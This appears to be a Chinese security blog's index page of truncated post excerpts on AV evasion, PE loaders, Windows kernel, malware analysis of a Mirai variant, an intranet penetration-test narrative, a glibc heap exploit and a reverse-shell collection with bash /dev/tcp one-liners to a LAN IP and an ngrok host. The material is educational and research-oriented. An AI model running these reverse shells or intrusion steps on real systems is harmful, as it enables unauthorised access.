【免杀】C++函数进化
C++的函数进化小结
函数
有这样一个问题
1234567#include <iostream>int main(){ int IntArray = { 12, 13, 35, 16, 6, 5, 5, 12, 4, 13, 38, 35, 37, 33, 35, 15, 36, 14, 13, 12 }; //统计大于20的数字 return 0;}
那么很自然的给出解法
123456789101112131415161718#include <iostream>int CountMatch(int* start, int* end){ int sum = 0; for (; start < end ; start++) { if (*start > 20) sum++; } return sum;}int main(){ int IntArray[] = { ...
内存加载PE文件
使用windows API编写PE文件加载器(Loader)
目前支支持32位
PE文件结构
在《逆向工程核心原理》中讲的已经很详细了,这里主要面向32位的可执行程序来讲解。
DOS头和PE头统称为PE头,下面的部分称之为PE体。
DOS头
DOS头的文件结构
123456789101112131415161718192021typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // 文件最后一页的字节数 WORD e_cp; // 文件中的页数 WORD e_crlc; // 重定位 WORD e_cparhdr; // 段中头大小 WORD e_minallo ...
【Muud开发】2.HTTP服务改善
从0到1开发一个勉强能用的python web“框架”
项目地址:https://github.com/Joe1sn/muud
主要改进
6-1 返回报文设置
首先将原来的拼接字符串改为了Response类,实现HTTP报文字段的自定义
这样可以大大简化view.py中的代码
123456789101112131415161718192021class Response(): def __init__(self, type="json", status_code=200, reply="") -> None: self.content_type = content_types[type] self.status_code = status_code if type == "json": self.reply = json.dumps(reply, ensure_ascii=False).encode( ...
web_0x1
【Muud开发】1.基础结构解析
从0到1开发一个勉强能用的python web“框架”
项目地址:https://github.com/Joe1sn/muud
简单介绍
在毕业设计的时候,初始选题为《基于XMPP的即时通讯系统》,想的是自己照着RFC写一遍XMPP协议,但是时间不够(毕竟要上班)。所以把废案再利用,抽出其中的一些部分,从Socket到web框架,实现一个简单的CURD功能,锻炼一下自己的文档化编程能力。受我个人能力有限会随时断更,一路上只有vscode和chatGPT以及所需要的RFC文档。
再说说已实现的部分,首先是确定在Linux上运行的,使用python语言
使用epoll模型完成了部分HTTP服务器的功能
sqlalchemy完成了数据库的ORM实现
路由通过闭包完成
视图部分编写(只考虑JSON传递)
启动部分参考了Django的设计
最后运行的效果
需求分析
根据ChatGPT,一个典型的Python Web框架通常由以下几个核心组件组成:
路由(Routing):路由用于将传入的HTTP请求映射到相应 ...
win_kernel_1_baisc
I. Windows系统结构
I.a 大致结构
windows内核是从windows NT内核发展过来的,从开始就和硬件的发展息息相关。
Windows采用双模式(dual mode)结构来保护操作系统内核不受应用程序的错误而出现崩溃
windows的原始设计是一个支持多环境子系统的os,它还支持POSIX和OS/2环境子系统.为他们提供仿真执行环境
I.b windows内核组成结构
关于函数的开头
nt:内核提供的服务
Ldr:映像加载器函数
Csr:Windows子进程通讯函数
Dbg:调试函数
Etw:系统时间函数
Rtl:运行支持函数
执行体API函数接收的参数来自各种应用程序,通常会在程序的最开始处,对所接受的参数逐一探查他们的可访问性。
II. windows内核关键组件
HAL 硬件抽象层
HAL通常是一个独立的动态链接库,windows自身携带多种HAL,但是在系统安装的时候只会选择一种,改名为hal.dll。涉及中断控制器、单处理器/多处理器硬件断点。
内核(微内核)
在内核模块ntoskrnl.exe中的上层部分为执行体,下层最接近HAL的就是内核。负责 ...
CVE-Archive-4-Opt.Aurora
CVE-Archive Opt.Aurora APT-1
网安赛博编年史:极光行动 APT-1
⚠由于相关法律,该文章已被限制访问⚠
前夜骤雨
1917年11月7日,正巧亲布尔什维克舰队的5艘主力驱逐舰及其船员驶入圣彼得堡港湾。在喀琅施塔得,水手们也宣布响应布尔什维克起义。清晨,革命军事委员会计划从斯莫尔尼宫高度的防备和封锁的中心进攻或占领最后的地点。晚上9:45分,阿芙乐尔巡洋舰从港口放出空炮。1917年11月8日凌晨2:00布尔什维克强行闯入冬宫,经过宫内零星的枪战后,临时政府内阁投降。人类历史上第一个社会主义国家建立了!
20世纪70年代,米哈伊尔·布林厌倦了在苏联国家计划委员会的工作,“试图利用数据来证明苏联人的生活水平远比美国人高得多,这就是我在苏联时期的主要工作内容,可是事实又是如何呢?”。他在1979年迎接着巨大的社会压力带领全家搬到了美国马里兰,其中就有他的儿子:谢尔盖·布林。后来,well,我们都知道拉里·佩奇和谢尔盖·布林共同创建谷歌。
CN PLA 61398部队,没有人知道他是多久建立的,但是解放军2013年12月出版的《战略学》首次谈到中国军方 ...
mirai_bota
Mirai Botnet分支Satori分析
你知道一边开拉,一边逆别人代码是有多带劲吗?
暂时先更新这么多,后面应该还有相关作者被抓的一些消息和更多功能的逆向
基本情况
名称
x86_64
MD5
fe7ca3b588e342f79c7814bb75dc24d7
SHA256
e436196f047741070c580695f5444e0c2cdd175c88f68affdc9230d09a71c978
Domain
botnet.nguyennghi.info
ip
103.183.118.73
逆向分析
基本情况
64位ELF可执行文件
逆向工程
通过start找到main函数
使用IDApython脚本对类似的库函数实现进行函数重命名
1234567891011121314151617181920import idautilsimport idaapiimport ida_nameimport idcfor func_ea in idautils.Functions(): func = idaapi.get_func(func_e ...
learn_git
GIT查漏补缺
其实git并不像想象的那么简单,多人合作的时候仍然会有许多问题
这里记录在 https://learngitbranching.js.org/?locale=zh_CN 的学习笔记
本地篇
基础篇
1. git commit
Git 仓库中的提交记录保存的是你的目录下所有文件的快照,就像是把整个目录复制,然后再粘贴一样,但比复制粘贴优雅许多!
Git 希望提交记录尽可能地轻量,因此在你每次进行提交时,它并不会盲目地复制整个目录。条件允许的情况下,它会将当前版本与仓库中的上一个版本进行对比,并把所有的差异打包到一起作为一个提交记录。
Git 还保存了提交的历史记录。这也是为什么大多数提交记录的上面都有父节点的原因 —— 我们会在图示中用箭头来表示这种关系。对于项目组的成员来说,维护提交历史对大家都有好处。
C2 的父节点是 C1,父节点是当前提交中变更的基础。
2. git branch
Git 的分支也非常轻量。它们只是简单地指向某个提交纪录 —— 仅此而已。所以许多 Git 爱好者传颂:
早建分支!多用分支!
这是因为即使创建再多的分支也不会造成储存或内存上的 ...
net_mode
简述网络协议模型实现
最简单的TCP/IP也要分很多实现的细节,以最简单的C/S模型为例子
同步阻塞
同步非阻塞
select/poll
epoll
基础模型
四种方式的解释
使用python创建最简单的一个C/S代码
server.py
12345678910111213141516171819202122232425262728293031import socket# 创建一个 TCP/IP socket 对象server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 获取本地主机名host = socket.gethostname()port = 9999# 绑定端口号server_socket.bind((host, port))# 开始监听,最大连接数为 5server_socket.listen(5)print('服务器已启动,等待客户端连接...')while True: # 等待客户端连接 client_socket, addr = server_sock ...
windows_kernel_driver_2
[驱动开发] 2
探索CR4
探索页面
CR3寄存器于页遍历
虚拟地址->物理地址
[驱动开发]探索CR4
英特尔® 64 位和 IA-32 架构开发人员手册合订本
第3卷第四章第五小节《4-LEVEL PAGING AND 5-LEVEL PAGING》
判断CPU是四级分页还是五级分页
page: 3074
该寄存器的值决定了映射层级是4/5,
1:5级分页
0:4级分页
12345678//__readcr4() & 0x1000//__readcr4() & (1<<12)CR4 Cr4 = { .Value = __readcr4() };DbgPrint("CR4=0x%016I64X, CR4.LA57=%I64d\n", Cr4.Value, Cr4.Fields.LA57);if (Cr4.Fields.LA57) DbgPrint("The system using 5 Level Paging");else DbgPrint(" ...
windows内核驱动 1-环境搭建
[驱动开发] 1-环境搭建
简而言之就是
visual stdio 2019
windows SDK
windows WDK
如果vs没有kernel的项目的模板,找到vs目录的WDK.vsix即可
关于调试
windbg调试器
同时windows 虚拟机我使用的是 vmware,添加了一个COM串口
加载驱动
使用KmdKit
windows设置
msconfig -> 调试 -> COM2 …
最简单的hello world
打开vs,找到KMDF (kernel mode driver empty)
设置驱动项目
取消晚上12点后编译报错
项目 -> 属性 -> Inf2Cat -> Use Local Time
代码
main.c
12345678910111213141516171819202122#include <ntifs.h>// 驱动卸载函数VOIDDriverUnload(PDRIVER_OBJECT DriverObject){ UNREFERENCED_PARAMETER ...
intranet
内网渗透测试-新手村
简单一层内网测试
入口点
http://xxx:16xx8
是个OA办公系统,使用某漏洞可以文件上传最后webshell实现RCE
扫描内网发现存活主机,同时上传cs大马
使用mimikatz抓取明文得到rdp密码后使用socks代理进入内网可以访问远程桌面
内网I 监控服务器
192.168.xx.50
该服务器存在ms17-010漏洞,但是有杀软,尝试使用psexec文件上传执行RCE失败,因为被杀软拦截了,可能修改上传的exe文件能够绕过
也可以尝试使用command一句话+web_delivery上线
不过在192.168.xx.100时也扫出了RDP密码,也是直接上线了
内网II DHCP服务器
192.168.xx.250
一般来说DHCP服务器是与服务器,mimikatz没有抓到密码,不过还好有ms17-010漏洞,但是由于当时我没有使用正向payload所以使用的就是 web_delivery+command 上线,之后把msf的shell传递给cs来扫密码,得到密码后使用代理RDP上线
查看相关配置后基本可以肯定就是内网AD域控服务器
内网 ...
house_of_apple
house of apple
一种在高版本glibc中,没有常规hook的堆利用方法
源码编译
先上代码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<unistd.h>#include <string.h> void backdoor(){ printf("\033[31m[!] Backdoor is called!\n"); system("/bin/sh\x00"); _exit(0);} void main(){ setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, ...
新冠日记
新冠日记
从上个月放开以来,越来越多的人得
很不幸中招了,写写这次的防疫日记,记录些经验
用药计划
主要是发烧了,最开始吃两颗氨咖黄敏胶囊,因为我体重比较重且症状严重,最开始计量大一点。
之后就每次一颗,一日三次,直到退烧。
退烧了过后有点感冒的症状,就开始服用 风寒感冒颗粒
2022-12-14
可以说是起点了。全寝室起床都取得有点难受,我最开始是喉咙很沙哑,寝室的其他症状是:头痛乏力、发烧等。然后我去做了咽式,在12pm出的结果是阴性。但是睡不着,2022-12-15 4:44就醒了,以为是普通感冒。
2022-12-15
4:44行了过后发现是阴性,就以为是感冒。之前剩下的感冒清片一天的量都不够了,刚好室友的抗原到了,测了测是阴性,但是我现在严重怀疑是反应没有结束。寝室直接测出来两个小阳人。我想搬到实验室防止阳性,就从室友手里买了一点感冒药+酒精然后去了实验室。
实验室有位同学和我的症状有点一样,就让实验室的去测核酸。然后就去学校外面买口罩和退烧药,一路狂喷酒精。
大概下午三四点的时候就有点头痛+发力,说来搞笑的是突然不识字。在实验室躺了会儿去吃晚饭,顺便回寝室找 ...
CVE-Archive TAO
CVE-Archive TAO
[The Office Of Tailored Access Operations]
网安赛博编年史:TAO
前景
介绍
今天(2022年9月5日)中国大陆CCTV电视台报道了美国国安局特定入侵行动办公室入侵西北工业大学的事件,刚好这个系列前两篇文章也多次提到过这个组织。这里就介绍下美国的网络攻击与防御的体系架构,顺便蹭下热度。
先说说今天这个事情吧,西北工业大学的微信公众号说的就很清楚
还有就是国家计算机病毒应急处理中心通告中提到,貌似最后的损失是盗取了超过140GB的高价值数据,但仔细阅读文章发现并不是这样。文章说的是 近年 、 国内目标,没有单独说明是从西工大拿到了140GB目标。
个人因为对西工大的学科及项目不了解,这就不在进一步了。不过不知道是不是我语文学的有问题。
不过在中国现在面临的国际环境和国内环境中,可能只是转移大众目光和为后面与部分国际社会脱钩有关发出的一个不痛不痒的公告。毕竟一个著名网站数据库泄露的量级也和这个差不多,很难说清除所谓的140GB里面有什么有用信息。
最后说点比较危险的吧,外交部那个声明没啥 ...
操作系统实现-合集1
代码来源:https://github.com/StevenBaby/onix
相关课程:https://www.bilibili.com/video/BV1gR4y1u7or
感谢B站UP:踌躇月光 带来的相关代码和教程
后来觉得操作系统从0到1这样学是一个非常蠢得概念,因为每个人学习他应该是有重点地。对系统有个基础的认知后,就该去精通自己要专注的方向,比如内存管理、网络协议等
也有可能你只是为了面试,但是面试也是有重点的对吧
所以把之前的文章做一个合集,喜欢在认识系统后再在方面创造子系统
[操作系统实现]基础篇
CPU中的段寄存器
CS (Code Segment Register):代码段的段基址
DS(Data Segment Register):数据段的段基址
ES(Extra Segment Register):其值为附加数据段的段基值,称为“附加”是因为此段寄存器用途不像其他 sreg 那样固定,可以额外做他用。
FS(Extra Segment Register):其值为附加数据段的段基值
GS:同上
SS(Stack Segment Register):堆 ...
密码朋克:一份密码朋克宣言
译文
一份密码朋克宣言
Eric Hughes著 Joe1sn渣译
隐私在电子时代对于一个开放的社会是必要的。隐私不是保密。隐私是一个人不想让全世界知道,但是保密是一个人不想让全任何人知道。隐私是一个人对这个世界选择性表达自我的权力。
如果双方有某种交易,那么每一方都有他们互动的记忆。 每一方都可以谈论他们自己对此的记忆; 谁能阻止这发生?人们可以通过法律反对它,但是对于言论自由甚至比隐私更加重要,这是开放社会的基础。如果多方在同一个论坛上共同发言,则每一方都可以与其他所有方共同对话,并将个体的和其他只是汇总在一起。电子通信的力量已经使这种讲话称为可能,它不会仅仅因为我们可能想要它而消失。
既然我们渴望隐私,我们必须确保交易的每方只有直接与该交易相关的必要的信息。鉴于所有信息都能被表达出,我们必须确保尽可能少地透露无关信息。对于大多数例子中的个人标识(ID)的需要并不是十分突出。当我们在商店中购买一本杂志并付款给店员时,并没有必要知道我是谁。当我让我的电子邮箱提供方收发邮件时,我的提供方不需要知道谁与我对话或者我和其他人说了些什么。我的提供方只需要知道如何在那里获取信息以及我 ...
基于安全容器的拟态防御构想
基于安全容器的拟态防御构想
摘要:近年来,在各种网络入侵事件下,网络空间安全得到越来越重视。为了改变传统的网络安全防御静态和被动的特点,研究人员形成了利用动态冗余原理的拟态防御理论,但同时拟态防御需要耗费一定的设备资源来达到所预设的安全条件。为此,我想出了一种基于Docker的安全容器的拟态防御构想,来平衡安全性和经济性的情况下,来使得拟态防御更大规模的应用,让网络空间更加安全。
关键词:网络安全 拟态防御 安全容器 Docker
一、前言
近年来,世界各国高度重视网络空间安全这一领域,为了应对网络安全威胁所造成的安全问题和网络空间发展权、主导权、控制权各国间展开了激烈的角逐。网络空间安全技术已经成为了关系国家利益和安全的核心技术[1],
为了改变传统网络安全防御技术的静态和被动式的特点,研究人员形成了拟态防御的新型基础理论[2]。在此理论中,我们利用异构冗余原理对拟态变换进行设计,同时利用马尔可夫博弈模型创建拟态防御策略[3],将漏洞和后门的不确定性转变为概率可控的可靠事件,进而大大增加系统的安全性。同时Intel SGX[4]技术的出现,以硬件安全为强制性保障,实现敏感数据程序与 ...
常规反弹shell合集
反弹shell的常见方式
反弹Shell-Linux
12345678【监听端】centos: 192.168.35.152【被控端】kali: 192.168.35.128 # 监听端执行[root@localhost ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777
bash
123┌──(root@kali)-[/home/kali]└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 # 执行失败 zsh: 没有那个文件或目录: /dev/tcp/192.168.35.152/7777
0.tcp.ngrok.io:15122
bash -i >& /dev/tcp/0.tcp.ngrok.io/15122 0>&a ...
数据结构与算法-9.图
Graph
This chapter contains lots of definations and very complex concepts
So this README file is in Chinese(my native laguage), there will be english version few months later
基本概念
邻接:简单的说就是两个节点之间有连接
度:入度+出度
入度:指向该节点的连接数
出度:从该节点出发的连接数
路径:顶点序列,如 (a,b);(b,c);(c,d)(a,b);(b,c);(c,d)(a,b);(b,c);(c,d),其中每一个边都在图GGG中
路径长度:路径中边的个数
自回路:允许有边(a,a)(a,a)(a,a)
多重图:两顶点存在相同的重复的边
连通图
连通:从顶点A到顶点B,可以通过途中路径到达
连通图:任意两个顶点均能连通
连通分量:极大的连通子图的个数
强连通图:顶点A到B和B到A都能够连通
强连通分量:有向图的极大强连通子图
生成树:无向连通图G的生成树是一个极小的连通子图,包括 ...